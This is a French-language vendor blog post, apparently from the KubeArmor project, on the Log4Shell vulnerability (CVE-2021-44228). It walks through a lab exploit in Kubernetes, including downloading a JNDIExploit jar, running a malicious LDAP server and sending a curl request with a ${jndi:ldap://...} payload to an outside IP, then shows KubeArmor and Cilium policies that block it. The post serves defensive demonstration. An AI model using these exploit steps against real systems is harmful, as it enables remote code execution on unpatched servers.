
Vulnérabilité Zero Day d'Apache Log4j alias Log4Shell alias CVE-2021-44228
Le 9 décembre 2021, le monde a eu connaissance d'une nouvelle vulnérabilité identifiée sous le nom de CVE-2021-44228, affectant le package de journalisation Java Apache log4j. Cette vulnérabilité a obtenu un score de sévérité de 10,0 (la désignation la plus critique) et offre une exécution de code à distance triviale sur les hôtes utilisant un logiciel qui exploite cette version de log4j. « Log4Shell » est le nom donné à cette attaque.
Aujourd'hui, log4j version 2.15.0rc2 est disponible et corrige cette vulnérabilité. Cependant, le danger immense de cette vulnérabilité provient de l'omniprésence du package de journalisation. Des millions d'applications ainsi que des fournisseurs de logiciels utilisent ce package comme dépendance dans leur propre code.
Première détection connue : 2021-12-01 04:36:50 UTC

Versions affectées :
Qui est concerné ?
Impact : Exécution de code arbitraire en tant qu'utilisateur du processus parent (code récupéré depuis Internet public, ou lolbins déjà présents sur le système, ou simplement récupération de secrets partagés ou de variables d'environnement et leur renvoi à l'attaquant).
Cibles : Serveurs et clients qui exécutent Java et qui journalisent quoi que ce soit en utilisant le framework log4j – principalement une préoccupation côté serveur, mais tout point de terminaison vulnérable peut être une cible ou un point de pivot.
Projets en aval : Jusqu'à preuve du contraire, considérez que tout ce qui inclut log4j – y compris Elasticsearch, Apache Struts / Solr / Druid / Flink, etc. – est affecté d'une manière nécessitant une atténuation.
Versions affectées : log4j 2.x confirmé – log4j 1.x seulement indirectement (vulnérabilités précédentes de divulgation d'informations) (dans certaines configurations)
Appareils : N'oubliez pas les appareils pouvant utiliser des composants serveur Java, mais qui ne seront pas détectés par un scan de vulnérabilité non authentifié.
Transfert de journaux : L'infrastructure de journalisation a souvent de nombreuses topologies de transfert/relais « nord » (envoyer mes journaux à quelqu'un) et « sud » (recevoir des journaux de quelqu'un). Leur enchaînement pour l'exploitation doit également être pris en compte.
Cloud : Plusieurs grands fournisseurs sont également affectés (une liste communautaire des logiciels et services vulnérables à CVE-2021-44228 peut être trouvée dans ce dépôt GitHub).

Étape n°1 : Déploiement d'un pod avec les services associés vulnérables à Log4j dans Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Veuillez noter que nous avons déployé l'application exemple Log4Shell vulnérable dans l'espace de noms
default
Étape n°2 : Téléchargement du serveur LDAP malveillant
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Étape n°3 : Démarrage du serveur LDAP pour le trafic entrant sur votre PC ou VM Cloud
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<votre-ip-privée>] -p 8888
L'IP privée peut être obtenue avec
hostname -I.
Assurez-vous que votre pare-feu autorise le trafic pour les ports1389et8888
Étape n°4 : Exploitation avec la commande cURL
# curl <protocole://ip-victime:port> -H 'X-Api-Version: ${jndi:ldap://<ip-serveur-malveillant>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Ici, la 1ère IP est notre IP externe k8s (Étape n°1) où l'application exemple vulnérable est en cours d'exécution.
La 2ème IP est l'IP externe du serveur LDAP malveillant (Étape n°2)
Étape n°5 : Confirmation en vérifiant la création du fichier /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Remplacez
log4j-demo-5d7c84d8b9-vs8ckpar votre pod issu de la sortie de l'Étape n°1.
Vous devriez voir un fichier créé nommépwneddans le répertoire/tmp.
KubeArmor est une plateforme de sécurité au moment de l'exécution qui peut aider les équipes Sécurité/DevSecOps à protéger leurs charges de travail à l'aide de contrôles basés sur l'application/le système (comme limiter le lancement de processus, limiter l'accès au système de fichiers, limiter les capacités des pods, etc.). KubeArmor dispose d'un mode de visibilité grâce auquel l'équipe applicative/de sécurité peut activer la visibilité et ainsi comprendre ce qui se passe à l'intérieur des pods, c'est-à-dire quels processus sont lancés, quels accès fichiers sont tentés, etc. Le plus grand avantage de KubeArmor est qu'en tant qu'utilisateur, vous pouvez également soumettre des politiques qui peuvent empêcher/bloquer/refuser ces opérations système.
Typiquement, un attaquant s'infiltre avec l'intention soit d'exfiltrer les données internes, soit de faire du cryptomining, soit simplement de semer le chaos dans les applications internes dans le but de les rendre indisponibles. Dans tous ces cas, l'attaquant doit exécuter un programme arbitraire capable de réaliser son intention malveillante. La vulnérabilité Log4j permet à l'attaquant de placer un binaire à l'intérieur du réseau interne. Cependant, des garde-fous peuvent être mis en place pour ne pas permettre à la JVM de lancer des processus.
Voici une politique KubeArmor qui peut refuser/empêcher tout processus d'être forké dans le pod en tant que processus enfant de l'application Java.
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
Notez que l'action est Block ici. Notez également la condition fromSource qui indique que seules les exécutions depuis le processus donné doivent être interdites. Essentiellement, seuls les processus enfants de Java/JVM se voient refuser une exécution. Contrairement à d'autres outils, KubeArmor a la capacité de Block l'opération système au moment de l'exécution.
Dans de nombreux cas, il peut y avoir certains processus existants qui doivent encore être lancés par Java/JVM. Dans ces cas, il est préférable d'Allow ces processus. En autorisant ces processus, KubeArmor refuse par défaut l'exécution de tous les autres processus dans le cadre de ce processus parent :
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
Dans cet exemple, les processus myapp et log4j sont toujours autorisés à être lancés par le processus Java, mais tous les autres processus sont refusés.
En regardant les politiques ci-dessus, on se demande naturellement comment vais-je obtenir la spécification du processus pour autoriser/refuser. C'est là qu'intervient le mode de visibilité de KubeArmor :
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
Le blocage de tout processus lancé depuis le processus JVM/Java génère l'alerte suivante tandis que l'execve est refusé (notez que KubeArmor est un moteur de mise en application) :
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
L'équipe Cilium a déjà publié son analyse pour prévenir les exploits de log4j dans un environnement k8s en utilisant des politiques réseau. Essentiellement, les politiques de prévention visent à garantir que les politiques les moins permissives pour DNS sont appliquées, de sorte que tout ce qui est en dehors de ce domaine est interdit.
L'un des défis pour une équipe de sécurité dans ce contexte pourrait être de déterminer tous les FQDN possibles auxquels les pods se connectent. Cilium offre une riche visibilité réseau qui permet d'établir l'ensemble exhaustif des FQDN accédés par les pods.
En complément de ces politiques, il existe quelques autres politiques préventives qui pourraient être mises en œuvre.
RMI est une fonctionnalité la moins utilisée par la plupart des organisations. Dans le cas de log4j, RMI est activé par défaut et la plupart des organisations pourraient ne pas se soucier qu'il soit complètement désactivé. Donc, si votre organisation n'utilise pas activement cette fonctionnalité, le mieux est de la désactiver complètement. La politique Cilium suivante pourrait être utilisée :
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
... où 1099 est le port RMI par défaut.
Le genre de règles décrites ci-dessus est facile à envisager avec le recul.
La question évidente suivante est de savoir comment empêcher la possibilité d'une utilisation abusive de telles vulnérabilités à l'avenir.
L'exécution de code arbitraire est un mode d'attaque majeur et il faut se concentrer sur la définition de ce qui rend le code « arbitraire ». Arbitraire dans ce contexte peut être défini comme tout ce qui n'est pas dans le contexte d'exécution habituel.
Utiliser une architecture Zero-trust (ZTNA) oblige à spécifier un ensemble de politiques le moins permissif qui n'autorise que les actions sur liste blanche et refuse tout le reste. Ainsi, avoir une posture Zero-Trust pourrait efficacement protéger une organisation des possibilités de telles attaques.
Cependant, atteindre Zero-Trust en pratique est bien plus difficile. Zero-trust exige qu'une organisation dispose d'une automatisation appropriée, de processus de déploiement logiciel couplés aux bons outils. Quelques points à considérer pourraient être :
Une posture Zero-Trust couvrant le réseau et les applications/systèmes pourrait être définie comme suit :
KubeArmor fournit un moteur de mise en application de politiques flexible couplé à des outils de découverte/recommandation de politiques qui aident précisément une organisation à répondre aux questions ci-dessus. Accuknox a construit les moteurs de politiques avec des principes de conception de base à l'esprit, c'est-à-dire que chaque moteur de politiques doit prendre en charge l'observabilité, l'audit (dry-run) et les options de mise en application.
L'observabilité couplée à un moteur de découverte de politiques peut fournir à une organisation les paramètres de politique les moins permissifs requis.

Si vous souhaitez essayer le moteur de découverte de politiques sur votre cluster k8s avec vos charges de travail, veuillez suivre le playbook ici.